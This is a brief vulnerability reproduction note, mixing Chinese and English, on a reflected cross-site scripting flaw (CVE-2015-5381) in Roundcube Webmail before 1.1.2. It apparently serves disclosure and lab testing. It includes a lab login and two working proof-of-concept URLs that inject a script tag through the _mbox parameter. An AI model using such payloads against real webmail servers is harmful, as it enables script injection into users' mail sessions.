Roundcube Webmail跨站脚本漏洞(CVE-2015-5381 )

Preface

Software: https://roundcube.net/
Versions: 1.1.x<1.1.2
CVE: CVE-2015-5381
Author: sroesemann
Release date: 2015-5-30

Reference

Roundcube Webmail跨站脚本漏洞（CNVD-2017-08082）

XSS via _mbox-parameter in Roundcube v.1.1.1

环境搭建

请参考：CentOS6 安装Sendmail + Dovecot + Roundcubemail

漏洞复现

需要有效的账号密码才能触发:user1/123456

本地环境：http://mail.roundcube.com/roundcubemail-1.1.1/

Example:

https://{YOURSERVER}/?_task=mail&_mbox=INBOX%22%3E%3Cscript%3Ealert(%22Roundcube+v1.1.1+XSS%22)%3C%2Fscript%3E

http://mail.roundcube.com/roundcubemail-1.1.1/?_task=mail&_mbox=INBOX%22%3E%3Cscript%3Ealert(%22Roundcube+v1.1.1+XSS%22)%3C%2Fscript%3E

XSS触发...